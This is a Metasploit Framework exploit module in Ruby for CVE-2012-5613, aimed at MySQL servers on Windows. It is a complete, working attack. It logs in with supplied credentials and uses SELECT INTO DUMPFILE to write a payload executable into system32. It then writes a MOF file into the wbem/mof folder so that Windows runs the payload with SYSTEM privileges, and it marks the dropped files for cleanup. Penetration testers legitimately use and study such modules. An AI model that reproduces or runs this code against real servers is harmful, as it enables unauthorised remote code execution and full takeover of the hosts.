Oracle MySQL For Microsoft Windows MOF Execution

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::MYSQL
include Msf::Exploit::WbemExec
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper

def initialize(info = {})
super(update_info(info,
'Name'           => 'Oracle MySQL for Microsoft Windows MOF Execution',
'Description'    => %q{
This modules takes advantage of a file privilege misconfiguration problem
specifically against Windows MySQL servers (due to the use of a .mof file).
This may result in arbitrary code execution under the context of SYSTEM. However,
please note in order to use this module, you must have a valid MySQL account on
the target machine.
},
'Author'         =>
[
'kingcope',
'sinn3r'
],
'License'        => MSF_LICENSE,
'References'     =>
[
['CVE', '2012-5613'], #DISPUTED
['EDB', '23083'],
['URL', 'http://seclists.org/fulldisclosure/2012/Dec/13']
],
'Platform'       => 'win',
'Targets'        =>
[
[ 'MySQL on Windows', { } ]
],
'DefaultTarget'  => 0,
'DisclosureDate' => 'Dec 01 2012'
))

register_options(
[
OptString.new('USERNAME', [ true, 'The username to authenticate as']),
OptString.new('PASSWORD', [ true, 'The password to authenticate with'])
])
end

def check
begin
m = mysql_login(datastore['USERNAME'], datastore['PASSWORD'])
rescue RbMysql::AccessDeniedError
print_error("#{peer} - Access denied.")
return Exploit::CheckCode::Safe
end

return Exploit::CheckCode::Appears if is_windows?
return Exploit::CheckCode::Safe
end

def peer
"#{rhost}:#{rport}"
end

def query(q)
rows = []

begin
res = mysql_query(q)
return rows if not res
res.each_hash do |row|
rows << row
end
rescue RbMysql::ParseError
return rows
end

return rows
end

def is_windows?
r = query("SELECT @@version_compile_os;")
return (r[0]['@@version_compile_os'] =~ /^Win/) ? true : false
end

def get_drive_letter
r = query("SELECT @@tmpdir;")
drive = r[0]['@@tmpdir'].scan(/^(\w):/).flatten[0] || ''
return drive
end

def upload_file(bin, dest)
p = bin.unpack("H*")[0]
query("SELECT 0x#{p} into DUMPFILE '#{dest}'")
end

def exploit
print_status("#{peer} - Attempting to login as '#{datastore['USERNAME']}:#{datastore['PASSWORD']}'")
begin
m = mysql_login(datastore['USERNAME'], datastore['PASSWORD'])
return if not m
rescue RbMysql::AccessDeniedError
print_error("#{peer} - Access denied.")
return
end

if not is_windows?
print_error("#{peer} - Remote host isn't Windows.")
return
end

drive    = get_drive_letter
exe_name = Rex::Text::rand_text_alpha(5) + ".exe"
dest     = "#{drive}:/windows/system32/#{exe_name}"
exe      = generate_payload_exe
print_status("#{peer} - Uploading to '#{dest}'")
begin
upload_file(exe, dest)
register_file_for_cleanup("#{exe_name}")
rescue RbMysql::AccessDeniedError
print_error("#{peer} - No permission to write. I blame kc :-)")
return
end

mof_name = Rex::Text::rand_text_alpha(5) + ".mof"
dest     = "#{drive}:/windows/system32/wbem/mof/#{mof_name}"
mof      = generate_mof(mof_name, exe_name)
print_status("#{peer} - Uploading to '#{dest}'")
begin
upload_file(mof, dest)
register_file_for_cleanup("wbem\\mof\\good\\#{mof_name}")
rescue RbMysql::AccessDeniedError
print_error("#{peer} - No permission to write. Bail!")
return
end
end

end

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